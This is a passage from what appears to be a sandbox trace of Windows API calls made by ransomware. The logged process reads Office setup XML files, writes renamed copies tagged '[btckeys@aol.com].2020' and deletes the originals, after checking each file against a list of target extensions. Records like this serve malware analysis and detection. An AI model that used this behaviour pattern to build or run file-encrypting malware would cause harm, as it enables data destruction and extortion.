nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x32b, lpOverlapped=0x0) returned 1 [0075.408] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x330, lpOverlapped=0x0) returned 1 [0075.409] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0075.409] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0075.409] SetEndOfFile (hFile=0x1e8) returned 1 [0075.409] CloseHandle (hObject=0x1e8) returned 1 [0075.409] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.409] SetEndOfFile (hFile=0x198) returned 1 [0075.410] CloseHandle (hObject=0x198) returned 1 [0075.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.411] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0075.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.411] lstrlenW (lpString=".doc") returned 4 [0075.411] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.411] lstrlenW (lpString=".docx") returned 5 [0075.411] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0075.411] lstrlenW (lpString=".pdf") returned 4 [0075.412] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString=".xls") returned 4 [0075.412] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString=".xlsx") returned 5 [0075.412] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0075.412] lstrlenW (lpString=".ppt") returned 4 [0075.412] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.412] lstrlenW (lpString=".zip") returned 4 [0075.412] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.412] lstrlenW (lpString=".rar") returned 4 [0075.412] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString=".bz2") returned 4 [0075.412] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString=".7z") returned 3 [0075.412] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.412] lstrlenW (lpString=".dbf") returned 4 [0075.412] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.412] lstrlenW (lpString=".1cd") returned 4 [0075.412] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.412] lstrlenW (lpString=".jpg") returned 4 [0075.412] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.413] lstrlenW (lpString=".doc") returned 4 [0075.413] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString=".docx") returned 5 [0075.413] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0075.413] lstrlenW (lpString=".pdf") returned 4 [0075.413] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString=".xls") returned 4 [0075.413] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString=".xlsx") returned 5 [0075.413] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0075.413] lstrlenW (lpString=".ppt") returned 4 [0075.413] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.413] lstrlenW (lpString=".zip") returned 4 [0075.413] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.413] lstrlenW (lpString=".rar") returned 4 [0075.413] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString=".bz2") returned 4 [0075.413] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString=".7z") returned 3 [0075.413] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.413] lstrlenW (lpString=".dbf") returned 4 [0075.413] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.413] lstrlenW (lpString=".1cd") returned 4 [0075.413] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0075.414] lstrlenW (lpString=".jpg") returned 4 [0075.414] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.414] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.414] lstrlenW (lpString="SETUP.XML") returned 9 [0075.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.415] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=20577) returned 1 [0075.415] CloseHandle (hObject=0x198) returned 1 [0075.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0075.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.416] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.416] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.416] GetLastError () returned 0x0 [0075.416] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5061, lpOverlapped=0x0) returned 1 [0075.419] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5070, lpOverlapped=0x0) returned 1 [0075.420] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0075.420] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.421] SetEndOfFile (hFile=0x1e8) returned 1 [0075.421] CloseHandle (hObject=0x1e8) returned 1 [0075.421] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.421] SetEndOfFile (hFile=0x198) returned 1 [0075.428] CloseHandle (hObject=0x198) returned 1 [0075.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.429] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0075.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.429] lstrlenW (lpString=".doc") returned 4 [0075.429] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.429] lstrlenW (lpString=".docx") returned 5 [0075.429] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.430] lstrlenW (lpString=".pdf") returned 4 [0075.430] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString=".xls") returned 4 [0075.430] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString=".xlsx") returned 5 [0075.430] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.430] lstrlenW (lpString=".ppt") returned 4 [0075.430] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.430] lstrlenW (lpString=".zip") returned 4 [0075.430] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.430] lstrlenW (lpString=".rar") returned 4 [0075.430] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString=".bz2") returned 4 [0075.430] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString=".7z") returned 3 [0075.430] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.430] lstrlenW (lpString=".dbf") returned 4 [0075.430] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.430] lstrlenW (lpString=".1cd") returned 4 [0075.430] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.430] lstrlenW (lpString=".jpg") returned 4 [0075.430] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.431] lstrlenW (lpString=".doc") returned 4 [0075.431] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString=".docx") returned 5 [0075.431] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.431] lstrlenW (lpString=".pdf") returned 4 [0075.431] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString=".xls") returned 4 [0075.431] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString=".xlsx") returned 5 [0075.431] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.431] lstrlenW (lpString=".ppt") returned 4 [0075.431] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.431] lstrlenW (lpString=".zip") returned 4 [0075.431] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.431] lstrlenW (lpString=".rar") returned 4 [0075.431] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString=".bz2") returned 4 [0075.431] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString=".7z") returned 3 [0075.431] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.431] lstrlenW (lpString=".dbf") returned 4 [0075.431] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.431] lstrlenW (lpString=".1cd") returned 4 [0075.432] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0075.432] lstrlenW (lpString=".jpg") returned 4 [0075.432] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.432] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.432] lstrlenW (lpString="VisiorWW.XML") returned 12 [0075.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.432] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=8723) returned 1 [0075.432] CloseHandle (hObject=0x198) returned 1 [0075.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0075.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.433] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.433] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.435] GetLastError () returned 0x0 [0075.435] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2213, lpOverlapped=0x0) returned 1 [0075.437] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2220, lpOverlapped=0x0) returned 1 [0075.438] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0075.438] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0075.438] SetEndOfFile (hFile=0x1e0) returned 1 [0075.439] CloseHandle (hObject=0x1e0) returned 1 [0075.439] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0075.439] SetEndOfFile (hFile=0x198) returned 1 [0075.440] CloseHandle (hObject=0x198) returned 1 [0075.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.440] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0075.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.440] lstrlenW (lpString=".doc") returned 4 [0075.440] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.440] lstrlenW (lpString=".docx") returned 5 [0075.440] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0075.440] lstrlenW (lpString=".pdf") returned 4 [0075.440] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.440] lstrlenW (lpString=".xls") returned 4 [0075.440] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString=".xlsx") returned 5 [0075.441] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0075.441] lstrlenW (lpString=".ppt") returned 4 [0075.441] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.441] lstrlenW (lpString=".zip") returned 4 [0075.441] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.441] lstrlenW (lpString=".rar") returned 4 [0075.441] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString=".bz2") returned 4 [0075.441] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString=".7z") returned 3 [0075.441] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.441] lstrlenW (lpString=".dbf") returned 4 [0075.441] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.441] lstrlenW (lpString=".1cd") returned 4 [0075.441] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.441] lstrlenW (lpString=".jpg") returned 4 [0075.441] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.441] lstrlenW (lpString=".doc") returned 4 [0075.441] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString=".docx") returned 5 [0075.441] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0075.441] lstrlenW (lpString=".pdf") returned 4 [0075.441] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.441] lstrlenW (lpString=".xls") returned 4 [0075.441] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.442] lstrlenW (lpString=".xlsx") returned 5 [0075.442] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0075.442] lstrlenW (lpString=".ppt") returned 4 [0075.442] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.442] lstrlenW (lpString=".zip") returned 4 [0075.442] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.442] lstrlenW (lpString=".rar") returned 4 [0075.442] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.442] lstrlenW (lpString=".bz2") returned 4 [0075.442] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.442] lstrlenW (lpString=".7z") returned 3 [0075.442] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.442] lstrlenW (lpString=".dbf") returned 4 [0075.442] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.442] lstrlenW (lpString=".1cd") returned 4 [0075.442] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0075.442] lstrlenW (lpString=".jpg") returned 4 [0075.442] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.442] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.442] lstrlenW (lpString="SETUP.XML") returned 9 [0075.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0076.093] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2424) returned 1 [0076.093] CloseHandle (hObject=0x1d4) returned 1 [0076.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0076.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0076.094] 